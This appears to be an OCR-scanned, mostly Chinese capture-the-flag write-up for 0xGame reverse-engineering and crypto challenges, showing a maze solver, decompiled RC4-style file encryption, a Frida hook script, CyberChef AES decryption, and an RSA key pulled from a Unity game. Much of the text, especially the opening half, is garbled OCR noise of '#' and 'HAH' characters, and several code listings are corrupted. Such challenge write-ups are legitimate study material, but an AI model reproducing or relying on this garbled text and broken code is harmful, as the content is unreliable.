#O#HHH # # ## #
HUHAH HAH H H HAEHAH H# HHHHE HHAHE HHAHE HHAHE HEH OB OH HAHAH H O# HAHSHHHHE #
HH# H# H HHAHHAH O HHHAH #
# # ## # # # # # # # # # # # # # #
#O#HHH # #
HOH OHAHAH H H H H HHH H H # # # # HHAHE HHAHHHHAHAHAHAE HAHSHAER # HHHHAHA
HHRHE HAH # # H#H HHAHHAHAH
# # # # # # # # # # # # # # # # # # # #
# # # # #
HOHHHAH H OH OH HAHAHAHAH H HHA AHAHAHE HHE F O # HHH HAHAHAHAH H HAHAH H # H# 4
HH# HHH O HHHAH HHAHE #
# # # # # # # # # # # # # # # # # # #
# # # # # #
HHH H HAHAH HEH H H H# HHHHE HHA RHA SHAHGHE HHAHE HAH HAHAH H HAHGHEHAE HHAHA
HHAHHE HAHHE H# HAH HHHE #
# # # ##HHH # # # # # # # # # # # #
# # # # # #
HOHEH H OHAHAH H OHAH HHHHH HHAHA RHAHE HHE F F O HAHAHAH H OH HAH H# H# HHHHHA
HHRHE HAHHE HAHAH HHAHE HAH
# # # # # # # # # # # # # # # # # # # #
# # # # # #



113 #O# OHHH H R O# HAH HHE B HEHHAHHEH O RHE HAHHAHEER B O# # HEHEE BHE B HHAHEAH #
# # H# HAH # HAHAH #HHE #
114 # # # # # # # # # # # # # # # # # # # # #
# # # # # # #
115 HORHE H O RHEHH B R # OB O HHAHE B HHAHAHHAHEE # BAHEE R OB H HHE # HAHHHHE #
HEAHHAH # HHHAHAS #HE # #
116 # # # # # ## # # # # # # ## # # # # # #
# # # ## # #
117 # # ##H# HAHHE HHH H HHAHHEH O RHEHHAHEE # HAHBHHAHRAHEERE B O# O HHR # HAHHHHE #
HHH# # HAHHA # HAH # H# #
118 # # # # # # # # # # # # # # # # # # # #
# # # # #
119 #O# OB OHEH HHHHH HHAHE B O HHE B O HHAHE B O # # HEH # # HEH HHAHHAHEE #HH
HER#HE HAHHAHASE # HHAHHAHAS
120 ## H#HH# # # # # # # ##HH#HHHH # # # #
# # # #
121 #OR OB OH O RHAHHAH HHE B OHEH RHHHHAHHAHAHHAHEE B OB H HHE H OB O R # HAHHE # #
HEAHHE HAH # HAHAHHAHEAE #
122 # # # # # # # # # # # # ## # # # # # #
# # # # # # #
123 #ORHHHH HHE # HAHHHHAHE HEE # HAHAHHAHEHHEE B 8 HAHEE B OB O HHAHE HEH BHE HAH
HHEH# H# H HHAAHEAH H # H# #
124  # # # # # # # # # # # # # # # # # #
# # # ##HHH#
125 #OH OB OH HHAHE HAHHAHE BEH O R OB HEHHA HAHAHHAHEER B O# HHHAHEE # ##H #HH4
HEAHHAHARRS HHH# # # # # # ##4
126 # # # # # # # # # # # # # # # # #
# ## # # #
127 # # # HAHAH HHE B O HHA HAEHAHHE B HEHHAHRRHEE 8 BEHEE BHE B HEHHAHHRHERE
HHEAHHAH HHAHHAH # # H## #
128 # # # # # # # # # # # # # # # ## # # # #
# # # # #
129 #O# HAHAHHE H HEH R O# HEH F RHHEH O HHE B OF RHHE HEH R # H H HHH4 #
HHEAHHAHARHAHE # HHES # # HHHHE # # #

130 # # # # # # # # # # # # # # # # #
# # # # # ## # #

131 #ORHHE HAHHAHE HAEHHE R B HHAHHAHEE R BAHAHEE HHHAHHSHAHRAHEE R HAHEE R HHH #
HHH# # H HHAHAHE HEH #

132 # # # # # # # # # # # # # # # # # # #
# # # # #

133 HHH# HAHAH # # # H #HHH
# H#H HAH HHAHHAHEHHA
134 # # # # # #
# # # # #
135 #ORHE H OHHAHE B O HHAHE B HHAHHHHAHEE B OH HEE # BEH HHE HAHAHHE HAHAHEE # #
HH# HAHAS HHH H HHE HAH #

HHAHHHH HHH # # HHAHE B OH # # HEH # # HAHHHHE # O #HH4

H OH H O H H O H H



136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

# # # ## # # # # # # # # # # # #
# # # # #

HOHOH OHAHAH HAH H OH H H # HHA R HHAHE # # # HAHAH HAH #

HH# H#H HHAHHAHAHEE # HAH

## # # # # #H#HHHH # ##HHH # #

# # # # ## #

HOHOHHHH H HEH # HHH # # HHAHAHE # # # #

#O# OHHH O HHHE H HHH H# #

##HHH # # # # # # # # #

# # ## # # # #

#OHEH H OHAHAHAHAHAHAE HHAHAHE R RHAHGHAHE HHH HAHAHAHAH

HH# H#H # # HAH HHAHEAH #

# # # # # # # # # #

# ## # # # #

# # HAHAHHE HAHAHHAHAHSH
HH# H# OH HHH HAHAH #HHE #
# # # # #

# # # #

# OHHHAHAS HHAHE H # #
# OHHHAHAS HHAHHAHAAHA
#
#
#

e

# # # #
# # # # #

# OHAHAHAHAHAHAHR #

HAHAHAH

HUHAHAHAHAHR # HAHAHAHAH # # #
HHAHHHH # HHHAH # # HAHAH

# # #

## # # # #
# OHAHAHAHAHR # HAHHHHHHA
#O# H# HAHHE HAHAHHAHE #
# # #

# # # # #

## # #

# OHAH #

HUHAHAH # # HAHAHAHAHAHSHAHHE #

HHRHE HAHHAHEAHR H# # HHH
# # # # # #
# # # # # # # #
#O# H# OHHH #HHH HAH # H##
HHEAHE H# # HHAAHAS HHE #
#H#HHHHH # # # #
# # # # # #
HH# H# OH # # HAH HHAHE #
HHAHE HAH HHHE H# HHH H# #
# # # # # # #
# # # # # # #
#OR#HH H OHHAHE HAH # HHH
HHEAHE HAH # # H# HHH H# #
# # #
# # ## # # # #

# #
# #

HHH HAH

#OHHH HAH HAH H HAH #

#
# #

HUHAHAHR # # #

# # # # # #

#OH K OH OHAH HEH HHEHHHHA

HHH HAHAHAHAHAHR # #

# # # # # #

#O#H HAHAHAHAHAH #

#OHAHAH H HEH

# # # # # #
#OHOHOH OHAHAH HAHAH
## # # # # #

HUHAHAHAH # HH#H

#OHHHAH H OHAHAHAH HAH

#OHAHAHAH HAH HAH H# HAHHHHE AHAHAHE HHAHE #

#O# HAHAHAH HAHAHHAHHHE #

# OHAHAHAHAHR H# H# HAHHHHA

HHH #H HAH HH#H

HHH # HHAH

# # # # # # # #

# OHHAH H #

HOHHH K OH OH OH HAHAH #

# # # # # #

#O# OHAH H HAHAHAH

# # # # # #

HUHHH # HAH H HAHAH #

# # # # # # #

HOHOHOH OHAHAH H H H#

# # # # # #

HUHAHAH HAHAH HAH HAHHH # AHAHAHE # HHAHSHHEH HAHAHAH

# # # # #



159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

# ORHHHHAHHE HAHAHHRHE BEH O BHE OB O# RHHHH HHAHEEH HHAHE B HEHHE #EH # #
HEAHHAH HHAHAHE # # #H#H HEHHA

# # # # # # # # # # # # # # # # # # # #

# # # # # #

#O# HAHAH # O# HAHHE BHH O OHHE BEHAHHAHE HEH BHE HEH O# RHHEH HHAHE B O# BHHE H #

# HHHAH HHEAHE H HHES # #

# # ## H#HH# # # # # # # # # # # # # # #
# # # # # #

HHAHE H# # HHE H# O HHA HAHAHHAHEAH #

HEAHE H# # HHAAHAHHAHE #

# # # # # # # # # # # # # # # # # #
## # # #

#O# OB OH HHAHAHHAHEE HHH OB # RHHHHAH

HEAHHAH # # # # HH#HHAH #

#ORHHAH HHAHE HAH

# # # # # # # # # # # # # # # # # # # # #
##HHH# # #
#ORHHHH O RHEHHAH # O# HAHEHHE B O HEH BHE HEH BHEHH O HHAHE HEHHEHE B HHAHESHAH
HHE# H# H # # HAHAHHS # #
# # # # # # # # # # # # # #
## # # # # # #
#ORHE B OHHE # HAHHE HHHEH HHAHEEH HHAHESHAT BHE B HESHAHHAHAHRAHE # #
HEAHHAHAS # # HAHHS # # HH#HE #
# # # # # # # # # # # # # # # #
# # # # # # #
HH# HAHAS HHAEHHAH BHE B HEE R OB HEHHE B OB HHAHE B O HHAHHAHASHARE HEHHA
HHEAHHAH HHHHE HAHHS #HHH HEHHA
# # # # #H#H#HHHHH # # # # # # # #
# # # #

#OHOH OHAHHE H HAHHH H H H # #
HEAHHAHARHAHASE HEH HHHAH #
# # # # # # # # # # # # # # # # # # #
# # # # #
#ORHHAHAS HHE B O HHE H HHH # #
HHEAHHAH # HHHAH # #HHE # #
# # # # # # ## # # # # # # # # # # #
# # # #
# O# HAHAHHE HAH HHAHEHHAS HHE #
HEAHHAHARHAHAAHARHAHE #
# # # # # #
# # #
HHEAHHHH HHHHE HEH HHAHHSHES BHEHH O RHAESHAHASHAHRES HHAHE B OHHAHE HEH HHAHH
HEAHE # # # HAHAHHAHEAE #
# # # # # # # # # # # # # # #
# # # # #
#O# OH OHAHHE HHH OH # HHHEH O RHHAHEHRE B HAHHE HHHEH # HHHAHEE RBHHEH HHE HHH #
HERHH HAHHE # HAH #HHE #

HH# # HEH HHEHH H O# HHHAHEE BHE HEHRAHESHAS

#HHH # # # # # # # #



182

183

184

185

186

187

188
189
190
191
192
193
194
195
196
197
198
199
200
201
202

# # # # ##HHH # # # # # # # # # # #
# # # # # #

HOH OHAH H HAH H OH H# H H HHAHA AHE # HHAHSHAHSHE B H HAHAHAHAHAHAHAR # HH4
HHAHHAHARHE HAHAH # HHH HAH

# # # # # # # # # # # # ## # # # # # #
# # # # # #
HOHHH HAHAH HAHAHAHAH H HHAHAHAHAHAHE BHE F H H H B OB OH HAHAHAH H H# H# H# HHHHHA
# OHHHAHAS HHASHAS HHE #
# # # # # # # # #
# E#

HAHHAHHAHHAH AU H A H R HHAH A H A H A H AR H A H R H R HH
HUHHHHHHA RS HHHH AR HHH

mmn

print("XE:")

print(maze_example)

path = find_shortest_path(maze_example) . lower ()
if path:

print (f"&EKE: {pathl")
else:

print ("ZEHREIMPEIERIERZR")
import hashlib

print (f"oxGame{{{hashlib.md5(path.encode()).hexdigest()}}}")

EFTERTR
ddddddddssddssddwwddssddddssaaaassssssaaaasssssSsSSSSaaaasssssSSSsaasssSaawwwwwwa
assssssssssssssssddssddssssssssaassddddddssddddssssddddddddddwwaaaaaaaawwwwaaaa
wwddddddddddwwd dwwwmwwwwwa awwd dwwd dwwa awwwwwwddssddssssssddwwwwdddddddddddddds
sddwwwwwwaassaawwwwddddwwddssddddddwwwwaassaawwaawwddwwddwwaaaassaawwaassssssaa
wwaaaassddssaaaawwaassssddddddssssaaaaaawwaassaawwwwddwwaaaaaassaawwwwddwwaaaaw
wddwwwwddssssddssddddwwddddddwwaaaawwwwddddwwddwwaaaaaassaassaaaawwaawwwwwwwwaa
aawwaawwddddddddssddwwddssddwwddssssddddwwmwwddddssssssaassssssssddwmwwwwddssssd
dssaassddddwwddssddwwddwwaaaawwaawwwwddssddddssddwwwwaaaawwwwaassaaaassaawwwwdd
ddwwddddddddddssaassddddwwddssddssddwwwwwwddssddwwddddddssaaaassddddssddwwwwddw
wddddssaassaassddddddwwwwddssssddddssddssddddssssssaaaaaawwddwwaaaaaassaaaawwaa
ssssssaassddssaaaassssaawwaassssssddwwddddssaassaaaassddssddddwwwwddddssssddssd
dwwddssssaassddddssddddwwwwddssssssssaassssaaaawwddwwwwaaaassaawwaawwaawwwwaaww
2aaaaaaassaaaaaaaaaassddddssssaaaaaassaassssssssddssddwwddddddwwaawwaaaawwddddd
dssddwwwwwwwwwddwwddssssaassssddssaassddssssaassssddwwddssssddddssaassaaaassaaaa
aassddssssddssaaaawwaassaassssddwwddddddddwwddddssssaassaaaaaassaaaaaassssaassa
aaassaaaaaaaawwddddwwaaaawwwwaassaassaawwaassaaaaaawwddddwwddwwaaaawwaassssaaaa
wwddwwaaaawwaawwaassaaaassaassssssddssaaaaaaaassssssddwwwwddddddssaassssddddddd
dddddddwwddddssddwwddssddwwwwaawwddddddssssssddwwddssddddddddwwdds sddwwwwwwd dww
ddddwwddwwddddddddssaaaaaassddddssaaaassaawwaaaassddssddddssddwwddddddwwaawwwwd
dssddwwddddddddddddssssaassaassdddd



203
204
205

— N

OxGame{f971495b0d9d053566abab04f0d6f98c}

oIHE
BAECpp, EFRBREIMNELES

AREGIR
1 int64 __fastcall sub_140001440(int al, int a2, int a3, int a4, int a5, 1int
a6)

2 {

3 unsigned __int64 v6; // rax

4 int v7; // r8d

5 int v8; // rad

6 _BYTE *v9; // rax

7 char v10; // dl

8 int v11; // r8d

9 int v12; // r9d

10 int v13; // r8d

11 int v14; // rod

12 __1int64 result; // rax

13 __1int64 v16; // [rsp+Oh] [rbp-30h]
14 __int6é4 v17; // [rsp+Oh] [rbp-30h]
15 __int64 v18; // [rsp+Oh] [rbp-30h]
16 __inte4 v19; // [rsp+Oh] [rbp-306h]
17 __1int64 v20; // [rsp+8h] [rbp-28h]
18 __int6é4 v21; // [rsp+8h] [rbp-28h]
19 __inte4 v22; // [rsp+8h] [rbp-28h]
20 int i; // [rsp+24h] [rbp-Ch]

21 int j; // [rsp+24h] [rbp-Ch]

22 int k; // [rsp+24h] [rbp-Ch]

23 int v26; // [rsp+28h] [rbp-8h]

24 int v27; // [rsp+28h] [rbp-8h]

25 int v28; // [rsp+2Ch] [rbp—-4h]

26 int v29; // [rsp+2Ch] [rbp-4h]

27

28 for (1 = 0; 1 <= 255; ++1 )

29 S_box[i] = 1;
30 v28 = 0;
31 V26 = 0;
32 for ( j = 0; j <= 2555 ++j )
33 {
34 v28 = (v28 + 1) % 256;
35 a2 = S_box[v28] + v26;



36 v6 = sub_1400032B0(al, a2, v26, a5, a5, a6, v1b6);

37 v9 = (_BYTE x)sub_1400033D0(al, a2, v28 % v6, a5, v7, v8, v17, v20);

38 v10 = a2 + *Vv9;

39 LODWORD(v9) = (unsigned 1int)((a2 + (char)*v9) >> 31) >> 24;

40 v26 = (unsigned __int8) ((_BYTE)v9 + v10) - (_DWORD)vV9;

41 swap(al, a2, (unsigned int)&S_box[v26], (unsigned int)&S_box[v28], v11,
v12, v18, v21);

42 }

43 v29 = 0;

44 v27 = 0;

45 for ( k = 0; ; ++k )

46 {

47 result = (unsigned int) ((a3 / 256) << 8);

48 if ( k >= (int)result )

49 break;

50 v29 = (v29 + 1) % 256;

51 v27 = (S_box[v29] + v27) % 256;

52 swap(al, a2, (unsigned int)&S_box[v27], (unsigned int)&S_box[v29], a5, a6,
v16, v20);

53 swap_0(al, a2, ((k / 256) << 8) + v27 + a4, a4 + ((k / 256) << 8) + v29,
v13, v14, v19, v22);

54 }

55 return result;

56 }

AU E R LR EMIRCARE, itBANIRESE—EETEL, MU—TEXFRY
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1

2 void encrypt(char *data, int len, const std::string &key)
3 {

4 int i, j, k;

5 for (k = 0; k < 256; k++)

6 {

7 S[k] = k;

8 +

9

10 1 = 03

11 ] =03

12 for (k = 0; k < 256; k++)

13 {

14 i=(i+ 1) % 256;

15 j = (j + S[i] + key[i % key.length()]) % 256;
16 std::swap(S[i], S[jl);

=
~
(S}



19 i = 0;

20 j = 03

21 for (k = 0; k < len / 256 * 256; ++k)

22 {

23 i= (i + 1) % 256;

24 j = ( + S[il) % 256;

25 std::swap(S[i], S[jl);

26 std::swap(datalk / 256 x 256 + ], datal[k / 256 x 256 + j]);
27 }

28 }

fip BRI TEARRZ RN, MARIRSIRE ZIHIIRTS.

(ASEEN

1

2 void decrypt(char *data, int len, const std::string &key)
3 {

4 int i, j, k;

5 for (k = 0; k < 256; k++)
6 {

7 S[k] = k;

8 }

9

10 T 5 03

=
=
()
1l
-

12 for (k = 0; k < 256; k++)

13 {

14 i= (4 + 1) % 2563

15 j = (j + S[i] + key[i % key.length()]) % 256;
16 std::swap(S[il, S[i1);

17 }

18 1 = 03

19 J =05

20 for (k = 0; k < len / 256 % 256; ++k)

21 {

22 i= (4 + 1) % 2563

23 j = (j + S[i]) % 256;

24 std::swap(S[i], S[j1);

25 }

26

27 for (k = len / 256 x 256 - 1; k >= 0; —-k)

28 {

29 std::swap(datal[k / 256 x 256 + i], datal[k / 256 % 256 + j]);
30 std::swap(S[il, S[i1);



31 j
32 i
33 }
34}

(j - S[i] + 256) % 256;
(i - 1 + 256) % 256;

REEXHRIERSD, XBEFELESTLHERE, =RreadFTHKEDF/I0X0E 0x28 0x400, —t
1078% 15, AREES#HTBMNXM, KEME. AREEBNERTHAZR, WHEIBRXH.

E— FBMPXHHEME600, =457, IR24ML, XH—H823678F 1, EHFFT1078+600*457*3
bmpHIX 45t Eheader(14B)+Info(40B)+iE&1%k (1024B)+##E (B & &R)

(T 1
v30 = 1024LL;
loc_140001722: . . .
mov’ [rbp+400h+var_18], 460h v29 = operator new[]((unsigned __int64)al);
pov s 400h [ tons Tone) std::istream: :read|(a1, a2, (__inte4)&v21);
ca _znay ; operator new[](ulong long s .. R X
lnov. Trbps4aohevar 201, rax std::istream::read(al, a2, (__int64)&vi8);
}ea rdx, “2“‘:3‘;:‘“”2;] 5 _intes std::istream::read(al, a2, v29);
5 [rbp+400h+ : ?
oy :;E} égh" var-2301 std::ostream::write(al, a2, (__int64)&v21);
mov rex, rax . std::ostream: :write(al, a2, (__int64)&vis);
call  _ZNSidreadEPcx ; std::istream::read(char *,long long) o A .
1lea rdx, [rbp+4eeh+var_460] ; _int6d std::ostream::write(al, a2, v29);
lea rax, [rbp+4eeh+var_23e] if (v29)
mov rgd, 28h ; ‘('
mov  rcx, rax operator delete[](al);
call  _2NSidreadePcx ; std::istream::read(char *,long long) V12 = HIDWORD(V18) * v20 + 31;
mov  rdx, [rbp+40eh+var_20] ; _inte4 .
lea rax, [rbp+40oh+var_230] if (vi2 <o)
mov  rad, 4oon v12 = HIDWORD(V18) * v20 + 62;
mov  rex, rax ¥ .
call  _ZNSidreadEPcx ; std::istream::read(char *,long long) v28 = 4 (vi2 >> 5);
lea rdx, [rbp+deeh+var_d2E] ; _intea v27 = (int)(v28 * v19)):
lea  rax, [rbp+d@ohsvar_420] (int)( abs32( 1 ))s )
Inov r8d, OEh v26 = operator new[]((unsigned _ int64)al);
mov . rex, rax. std::istream::read(al, a2, v26);
call  _ZNSoswriteEPKcx ; std::ostream: :urite(char const*,long long), )
lea rdx, [rbp+400h+var_460] ; _int64 std::ifstream::close(al, a2, vi3, v24);
for o owemear iz iF (a6 )
v rex, rax sub_140001440( (_DWORD)al, (_DWORD)a2, v27, v26, a5, v14);
call  _ZNSoSwriteEPKcx ; std::ostream::urite(char const*,long long), .. . wri .
mov rdx, [rbp+d4eeh+var_20] ; __int64 std::ostream: :write(al, a2, v26);
lea rax, [rbp+deoh+var_420] std::ofstream::close(al, a2, vi5, v22);
mov r8d, 408h if ( v26 )
mov  rex, rax
call  _ZNsoswriteEPKcx ; std::ostream::write(char const*,long long) operator delete[](al);
cmp [rbp+4geh+var_20], © vlil = 1;
gz short loc_1400017EA 2
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(ASEEES

1 __int64 __fastcall check(__int64 al, __int64 a2, int a3, __int64 a4)
2 {

3 unsigned int v5; // ebx
4 __1int64 v6; // rax

5 __int64 dindex; // rcx
6 char v8; // dl

7 int v9; // edi

8 int v10; // r8d
9

10 v5 = 0;

11 v6 = (x(__inte4 (__fastcall *x)(__int64, __int64, _QWORD)) (*x(_QWORD *)al +
1472LL)) (al, a4, OLL);

12 if ( a3 == 48 )

13 {

14 index = 1LL;

15 v8 = 0;

16 while ( index != 49 )

17 {

18 if ( (char)(v8 A *(_BYTE %) (v6 + index - 1)) == byte_5F0[index - 1] )

19 {

20 v9 = (char) (*(_BYTE *)(v6 + 1index) » (v8 | 1));

21 v8 += 2;

22 v10 = byte_5F0[index];

23 index += 2LL;

24 if ( v9 == v10 )

25 continue;

26 }

27 return 0;

28 }

29 LOBYTE(v5) = 1;

30 }

31 return v5;

32}

B—T, ELMERT 0123 - o
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v6[index - 1] A v8 ==

v8 += 2;
index += 2LL;

o N o b~

target[index - 1];

v6[index] » (v8 | 1) == target[index];

fEfridahook FlagChecker.encrypt, X3k1Skey#liv

(GRS

1 Java.perform(function () {

2 console. log('Fhook');

3 var FlagChecker = Java.use('com.example.easynative.FlagChecker');

4

5 FlagChecker.encrypt.implementation = function (a, b, c) {

6 console.log(a);

7 console.log(b);

8 console.log(c);

9 return this.encrypt(a, b, c);

10 +s

11 1)

12
Cybercheffi#%

OxGame{Native_1s_also_1nt3r3stlng_ef492d80a257c}

Recipe ~ e B
From Hex ~ 0
Delimiter
Auto
XOR ~ 0 n
Key Scheme
00 01 02 03 04 0.  HEX” Standard
I:] Null preserving
AES Decrypt ~ 0 n
Key I\
oxgame-Sec..  UTF8~ 8a a5 61 oc.. HEX™
Mode Input Output
CTR Raw Raw

Input + 0O 8=

38 EA 9A 5A 3C FB oC 98 1A 66 8B 46 6A 06 19 08 41 CB 36 9E 16 C5 BE 2F FO 9D BF A7 34 67 51
4C E5 C2 78 A5 OF 35 FC 1D 39 8B 49 38 34 69 30 F7|

mc 143 = 1 Q 143 Tr Raw Bytes ¢ LF

Output 3 ] I_D M

pxGame{Native_1s_also_1nt3r3stlng_ef492d80a257c}
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unityBY/NEEX, B EIMENIITTRYFO:)
CH#ERunity/\isxk, BRBT monofmi¥ (52Z23MBIEli2cppdmiF) , mAILUBdnspya i

@ dnsp 8 (64-bit, .NET)

SCHHE)  REE WEY ED) &0w)

abci.dll

Assembly-CSharp (0.0.0.0)
Autodesk.Fbx (0.0.0.0)

Cinemachine (0.0.0.0)

DelaunatorSharp (1.0.10.0)
DelaunatorSharp.Runtime (0.0.0.0)
DOTween (1.0.0.0)

FbxBuildTestAssets (0.0.0.0)

| WANNA TENSHI FUMO @FIGHT WITH INES.exe
lib_burst generated.dll
mono-2.0-bdwgc.dll

Mono.Security (4.0.0.0)
MonoPosixHelper.dil

mscorlib (4.0.0.0)

netstandard (2.1.0.0)

spine-unity (0.0.0.0)

System (4.0.0.0)
System.ComponentModel.Compaosition (4.0.0.0)
System.Configuration (4.0.0.0)
System.Core (4.0.0.0)

System.Data (4.0.0.0)
System.Data.DataSetExtensions (4.0.0.0)
System.Drawing (4.0.0.0)
System.EnterpriseServices (4.0.0.0)
System.I0.Compression (4.0.0.0)
System.lO.Compression.FileSystem (4.0.0.0)
System.Net Http (4.0.0.0)
System.Numerics (4. 0)
System.Runtime (4.1.0.0)
System.Runtime.Serialization (4.0.0.0)
System.Security (4.0.0.0)
System.ServiceModel.Internals (0.0.0.0)
System.Transactions (4.0.0.0)
System.Xml (4.0.0.0)

System.Xml.Ling (4.0.0.0)
Unity.2D.Animation.Runtime (0.0.0.0)
Unity.2D.Common.Runtime (0.0.0.0)
Unity.2D.IK.Runtime (0.0.0.0)
Unity.2D.PixelPerfect (0.0.0.0)
Unity.2D.SpriteShape.Runtime (0.0.0.0)
Unity.2D.Tilemap Extras (0.0.0.0)
Unity.Burst (0.0.0.0)

Unity.Burst.Unsafe (4.0.5.0)

b
13
4
13
4
13
4
13
4
13
4
13
4
13
3
b
3
b
3
b
3
b
3
b
3
b
3
b
13
b
13
b
13
b
13
b
13
b
13
b
13
4
13

Iy 3y 3y Iy Gy 3y Oy 3y Iy Ty 3y 0y oy 3y Cly 0y 0y Oy Oy 0y 0y Oy Oy By Oy Oy Oy 3y Oy 0y Oy Oy Oy Oy 3y Oy Oy Oy By

NET

MHHF)  REE) MRV D) EOWw)  #EEH)

@0200000A
ffect @02000051
aManager @0200000B
Stats @02000049
Effect @02000052
@02000005
eAnimationTrigger @02000040
el tate @02000041

| Controller @0200000E
@02000043

tate @02000014
yStateMachine @02000015

AV vV Y VY YV YVVYVYVYVYVYVYV
cvdRIRIRIIRIRIILAIL

=m0

nyStats() : @0600027D

0 @0600027C
0: @06000273
)] @0600027B

@06000279
@06000274

Damage(int,
@0600027A
: Text @040001C0
Text @040001BF

8 @040001BC

my @040001B9

@040001BB
S temDrop @040001BA

e C#

v X |abcidll X

100% -~

SEEEE
B

(<] = c#

¥ X WinFlag( : void

WinFlag ()

. Encryptilaglext.

. Decrypt (

. privatekeyiiL,

ats-WinFlag2 mikZlflagh?

. Encryptflaglext.

=3
P2
&

1z

3

: ItemEffect @040001¢

@040001C2
@040001BE
@040001BD
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EnemyStats X

e int level:
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1  from Crypto.PublicKey 1import RSA

2 from Crypto.Cipher import PKCS1_v1_5
3 dimport base64

4 dmport xml.etree.ElementTree as ET

5

6  EncryptText = (

7

10

"TxDTykBFS+ewdHSIKSRRw63i4/70s3pHqvC/WOnnFPKupfz@VpUgqFRVEgtOdfILdcxNKBvc67E/nIq
U4dz8L88DZB9xVaKawdDgJ8c3EhI//rlazkzbN2hURFAsS1UoF932XTOwPW61TsXPX7UyFAG4IInifx
QreKU7hyQNHIkpBkYsTgp/wxH5/g6IKEff8H/zEjbLcalck5k/r3vG8DeBQkhZUQ4I5HfIyetUBAmZy
r8sZkygErKxVaF6vWZZtoPBkLzCxYOWIoaYcTfp+n5q1dUBDOshvXhVf1M3KGokZL2PgXT9K9Gv91d8
aazXq7MV1igCN4AwWAeFPN80OIYg=="

)

privateKeyXML = """<RSAKeyValue>
<Modulus>jR+j5ZyLvb0OyQRZgIQtH15s1TRSQ41igoTQrKrwnmIwOcrkc48RQ6qD6WFXYAbFmiu34Yp06
38surG2dFem00+vSoJuFksK70amen3pdilSgUukdFZ3SEJ/7QoeWls40exLsVPn3zZWcINSb1ESaL4TN
OMpCOT1IVuWgkwiYSU2fZYQg9Z7SO5RcVt10IgK90/DmLjW6+t6RAUAY0+9gsPXdGNOd/ f4Ly0Tbj0ia
Wg2aCGfZhz3UtqACS2q6L9p1a9l3vYgLNpplGnUcZnA+CVfhzcCWTHQ4X7hTudsyysFEm/6tei3uBKY
q6/HnTrmo2rSZxKS/GUEXRO3A9hmyD+PEcw==</Modulus><Exponent>AQAB</Exponent>
<P>+6YUEMYFZ1INInZYRzNRUOQqU2Krb4QaFCUNNhFsL37y55rnz0/hLfLSA2FistQiMLy0Yz01fkx0T
twwkWkHikRu7KFi7vQzTg/KbdKNnHJI11huemk®DuwxDghj+3uNC30heSAGNF1F47z1ge8AY2J+iQ8Ip
gINsrfZYNRZ5txDO=</P>



<Q>j5BSrK3L1i9VaBvRn2UGMT8q2NOJI7tbaRvQonHhU1uBQYlhifttmK5wr1PurZHsb7tiNIVORTuUM9H
aUbQ/CczqlLskVKINkwpVyGM2rydigbZ/KaPOOytTiR7HxdOGUCO6SyYfi2hl1VwaEewAOTkRUo/DuKYug
PSaiygARipyhfRm8=</Q>
<DP>01lwCagiNevscYKgNIPOz/mxaAMTTCUhp7VnEct+pDV62CClpqcflUImRWO]jFFpAON2ETXDdRrraC
v21RMDycEPkjwKsoCJgaSyboEOXxetYzqsdrzZCTjciypg4/ABL506yrISEGX6G7dj6AaPIrOumeuwX
JK7IRJI1rGYZpoJKAE=</DP>
<DQ>HA4BCfughj/4KtnCHYOguCxdOWiJk1YOHtoIEONmKIXM1DAVrf7PFR1gFZ6BNXF/KPW2NgJgGoB
VHRSYrF3gy3leuSdKb4yafOFeglX4AuBF81Y19rpFxcr9ERG6DKFHeTWeK/kKzSnZ48t8ADF8NN1VQUs
mOix1lraEglGO1ZaQM=</DQ>
<InverseQ>qZwSEXM5GW+CsTtvN2DPmwQtLf7cTA2DwWY+8+4bnR7XOMTqssUDNtc81+HD3uml9BRg9m
4t1PoY+qGsh5qEtFsITBvtOpgNM5mdg8WrBle85Xzpdvsfqvv1iPN3KsDjduzkY0SazVBlur+0X86JTF
3jSLFeFkorn0lckHcApqU54=</InverseQ>
<D>LABbh/IhmAp5X9XsMGCt99VF76L1hgTSMI+pAkAGpaTuZM3a+0UznSNTo02ahIgrTkJOhMkg62BM
1TAm15xTB5RVAZpxXK2QQ8UCEGM/N6aBn/ss5q7rrdTDLFcYLT2pBEoYu511z075PNKgghOwMjcSA/dL
IC/LUFngtk12Cf5IRwsdnOKc2a0iiHUONtVvWk1LZGkzcs4VL5FI7Tn1yDeIS9TI+1KA14dJUCEhATt MM
iTSq+vpzoSed0cc8VOvo09Imjef8W62DasLusKxCCQi6PzsLATU12yLUOWTiloysnrUVZryOWTvMr2V3
GCOwfGRdXajdeqwwKVvGUt72egeEQ==</D></RSAKeyValue>"""

11

12 def b64_to_int(s):

13 return int.from_bytes(base64.b64decode(s), byteorder='big')
14

15 root = ET.fromstring(privateKeyXML)
16 fields = {child.tag: child.text.strip() for child in root}

17

18 n = b64_to_int(fields['Modulus'])

19 e = b64_to_int(fields['Exponent'])

20 d = b64_to_int(fields['D'])

21 p = b64_to_int(fields['P'])

22 g = b64_to_int(fields['Q'])

23

24 rsa_key = RSA.construct((n, e, d, p, q))
25

26 cipher = PKCS1_vl1_5.new(rsa_key)

27  plaintext = cipher.decrypt(base64.b64decode(EncryptText), b'")
28

29  print(plaintext)
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¥ X GetMaxHealthValue() : int
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Crypto

AES Square
REGIR
1 from utils import AES
2
3  Sbox = (
4 0x63, 0x7c, Ox77, Ox7b, 0xf2, Ox6b, Ox6f, Oxc5, 0x30, Ox01, Ox67, Ox2b,

Oxfe, Oxd7, Oxab, 0x76,

5 Oxca, 0x82, Oxc9, Ox7d, Oxfa, O0x59, Ox47, O0xf0O, Oxad, Oxd4, Oxa2, Oxaf,
Ox9c, 0Oxa4, 0x72, 0OxcO,

6 Oxb7, 0xfd, Ox93, Ox26, 0x36, O0x3f, Oxf7, Oxcc, 0x34, Oxa5, Oxe5, Oxfl,
Ox71, Oxd8, 0x31, Ox15,

7 Ox04, 0Oxc7, O0x23, Oxc3, O0x18, O0x96, Ox05, Ox%a, OxO7, O0x12, Ox80, Oxe2,
Oxeb, 0x27, 0xb2, 0x75,

8 0x09, O0x83, Ox2c, Oxla, Oxlb, Ox6e, Ox5a, 0xa®, 0x52, Ox3b, Oxd6, O0xb3,
0x29, Oxe3, Ox2f, 0x84,

9 0x53, Oxdl, Ox00, Oxed, 0x20, Oxfc, Oxbl, Ox5b, 0x6a, Oxcb, Oxbe, 0x39,
Ox4a, Ox4c, Ox58, Oxcf,

10 0xd0, Oxef, Oxaa, Oxfb, 0x43, 0x4d, Ox33, Ox85, 0x45, Oxf9, Ox02, Ox7f,

0x50, O0x3c, 0x9f, Oxa8,



11
